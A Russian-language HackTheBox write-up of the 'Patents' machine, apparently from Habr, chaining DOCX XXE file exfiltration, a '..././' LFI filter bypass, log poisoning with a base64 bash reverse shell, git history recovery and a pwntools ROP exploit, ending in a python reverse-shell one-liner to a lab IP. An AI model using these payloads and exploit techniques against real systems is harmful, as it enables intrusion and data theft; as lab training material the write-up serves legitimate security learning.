python

HackTheBox. Прохождение Patents. XXE через файлы DOCX, LFI to RCE, GIT и ROP-chain

  • воскресенье, 17 мая 2020 г. в 00:27:50
https://habr.com/ru/post/502268/
  • Информационная безопасность
  • Python
  • CTF


image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем XXE в сервисе преобразования DOCX документов в PDF, получаем RCE через LFI, копаемся в истории GIT и восстанавливаем файлы, составляем ROP цепочки с помощью pwntools и находим спрятанный файл рута.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.173, который я добавляю в /etc/hosts.

10.10.10.173    patents.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A patents.htb -p22,80,8888

image

На хосте работают службы SSH и веб сервер Apache, при этом порт 8888 отведен для непонятной службы. Посмотрим веб.

image

На сайте имеется форма загрузки DOCX документов.

image

XXE DOCX


По утверждению, наш документ будет преобразован в PDF формат. Это наталкивает на мысль о XXE. Я взял пример отсюда.

image

Таким образом, в данном примере хост попытается загрузить xml документ с удаленного сервера. Загрузив этот документ, он прочитает локальный файл указанный в загруженном xml документе, закодирует его в base64 и обратится еще раз на наш сервер, передав закодированный файл в качестве параметра запроса. То есть, декодировав этот параметр мы получим файл с удаленной машины.

Но данную нагрузку следует размещать не по пути word/document.xml. Так как для работы с таким типом документов используется SDK OpenXML, то, как следует отсюда и отсюда, программное обеспечение на стороне сервера будет искать данные в word/document.xml, а в customXML/item1.xml. Поэтому нагрузку стоит размещать именно там.

Давайте создадим docx документ и разархивируем его как zip архив. После чего создадим директорию customXML и создадим в ней файл item1.xml. В него мы запишем код с изображения выше, изменив IP адрес на свой. И архивируем документ обратно.

image

Теперь запустим локальный веб сервер.
python3 -m http.server 80

И в текущей директории создаем второй xml файл, указав в качестве желаемого файла /etc/passwd.

image

И загружаем документ на сервер. В окне с запущенным веб сервером увидим обратное подключение.

image

Декодируем base64 и получаем файл, который запросили.

image

Таким образом мы можем читать файлы на сервере. Давайте прочитаем файлы конфигурации Apache. Для этого изменить dtd.xml и повторим загрузку документа.

image

image

Так мы узнаем директорию, в которой расположен сайт. Давайте попытаем прочитать файл конфигурации.

image

image

И в комментарии сказано, что файл был переименован из-за уязвимости. Мы конечно обратимся к нему patents.htb/getPatent_alphav1.0.php.

image

Обратившись к данной страницы и передав в качестве параметра id путь ../../../../../etc/passwd, из нашей строки будут удалены все вхождения “../”. Давайте каждую строку “../” заменим на “..././”, так при удалении последовательности, все равно останется “../”.

image

И мы находим LFI.

Entry Point


Давайте попробуем получить из этого RCE. Скажу честно — это было сложно. Дело в том, что отправляя подобный документ, мы не получали предложение загрузить PDF. То есть был задействован дескриптор 2 (для вывода диагностических и отладочных сообщений в текстовом виде). А к нему мы можем обратиться. Давайте закодируем реверс шелл в base64:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Мы будем декодировать его и передавать в функцию system в php. Давайте передадим код в качестве заголовка HTTP при загрузке файла.
curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Запустим netcat.
nc -lvp 4321

И теперь обратимся ко второму дескриптору.
curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Получаем бэкконнект.

ROOT 1


Загрузим скрипт перечисления системы linpeas и внимательно проанализируем вывод. Так мы работаем в докер контейнере.

image

Еще находим хеши. Но взломав, ни к чему не приходим.

image

image

Поэтому запускаем pspy64 чтобы отследить запускаемые процессы. И находим запуск процесса от имени root, при котором пароль передается как переменная окружения.

image

И локально сменим пользователя, указав данный пароль.

image

ROOT 2


Давайте посмотрим, что делает данный скрипт.

image

image

Получаем наводку на какой-то lfmserver, а также сохраняем логин и пароль. Поищем в системе все, что связано с lfm.

image

И находим в данной директории git репозиторий.

image

Давайте поработаем с данным репозиторием.

image

Посмотрим историю изменений.

image

Посмотрим историю изменений. Так видим что в предпоследнем коммите были добавлены исполняемый файл и описание, а в последнем — они уже удалены. Давайте откатимся до удаления файлов.
git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

И у нас в директории появились исполняемый файл и описание.

image

image

Тут я уже хотел приступить к реверсу файла, но — у нас есть git проекта! Я нашел коммит, где упоминались исходные коды.

image

И давайте восстановим файлы.
git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

После чего скачиваем интересующие исходные коды, саму программу и библиотеки на локальную машину.

ROP


Нам нужно попытаться найти и эксплуатировать уязвимость в программе, в помощь есть исходные коды. Проверим защиту в бинарном файле.

image

То есть канарейка и PIE отсутствуют, но стек не исполняемый. Откроем бинарный файл в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro 7.2 ) и сопоставим декомпилированный код с исходными кодами из репозитория.

image

Для подключения к серверу и используем данные из файла checker.py, а также учетные данные.

image

image

Давайте напишем шаблон эксплоита.
#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

Давайте теперь определимся с запросом. Запустим приложение.

image

Необходимо отправлять путь к файлу и хеш его содержимого. Для примера я взял /etc/hosts.

image

Добавим к шаблону следующий код.
INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Теперь выполним и получим ошибку 404.

image

Посмотрим log файл.

image

Понятно где приложение ищет файл, давайте поиграем с путями, и укажем такой file.
file = "../../../../../etc/hosts"

Выполним код и не увидим никаких ошибок.

image

image

Но в случае urlencode, получаем ответ с кодом 200 от сервера!
file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

image

Отлично, давайте вернем к дизассемблеру. Найдем среди строк (Shift+F12) удачный ответ сервера. И посмотрим, где к ней происходит обращение (X).

image

И переходим к первой функции, где в самом начале происходит проверка учетных данных.

image

Давайте переимеенуем строки-переменные в окне дизассемблера, чтобы в декомпиляторе было понятнее.

image

И разбирая код в строках 18-24, пониманием следующее: часть пользовательского ввода попадает в функцию sub_402DB9, где происходит преобразование строки в переменную name, которая потом попадает в функцию access, и в случае отрицательного результат, происходит вывод сообщения 404. Таким образом, в переменной name будет расположен путь к файлу. Так как запрос обрабатывался даже в кодировке urlencode, то данная функция скорее всего нужна для декодирования.

image

Но дело в том, что переменная name, куда происходит перенос данный, ограниченного размера.

image

Таким образом, для переполнения буфера нам необходимо передать 0xA0=160 байт. Давайте допишем в код функцию дополнения до 160 байт и кодирования пути к файлу. Так как от содержимого файла вычисляется хеш, то необходимо не нарушать целостность пути к файлу, то есть после основного пути добавить 0x00 байт.

Но дело в том, что нам нужно знать хеш от какого-либо файла на сервере, который будет доступен всегда и никогда не изменится. К примеру /proc/sys/kernel/randomize_va_space, а как мы помним из вывода linPEAS, ASLR активирован, то есть мы знаем хеш.

image

Тогда изменим код.
#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Это успешно работает!

image

Теперь давайте используем утечку памяти и определим адрес, по которому загружена библиотека libc. Для этого мы получим адрес функции write в загруженной библиотеке libc.
binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

image

Теперь выделим адрес функции dup2 (первые 8 байт). Вычтем из него адрес функции dup2 в не загруженной библиотеке. Так мы найдем базовый адрес libc.
print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

image

Теперь найдем адрес строки /bin/sh.
shell_address = next(libc.search(b"/bin/sh\x00"))

Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (возьмем 6). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

image

Отлично! Получаем шелл от рута. Но вот он быстро умирает. Запустим листенер (nc -lvp 8765) и кинем бэкконнект шелл.
r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

image

image

И мы имеем стабильный шелл. Полный код привожу картинкой ниже.

image

Но вот прочитать флаг рута не можем…

image

ROOT 3


Запустив linpeas и просмотрев вывод, находим интересные разделы, особенно /dev/sda2.

image

Давайте получим информацию о всех блочных устройствах.

image

Таким образом мы имеем корневой раздел /dev/sda2. Создадим директорию и монтируем раздел.

image

Вот и находим флаг рута.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.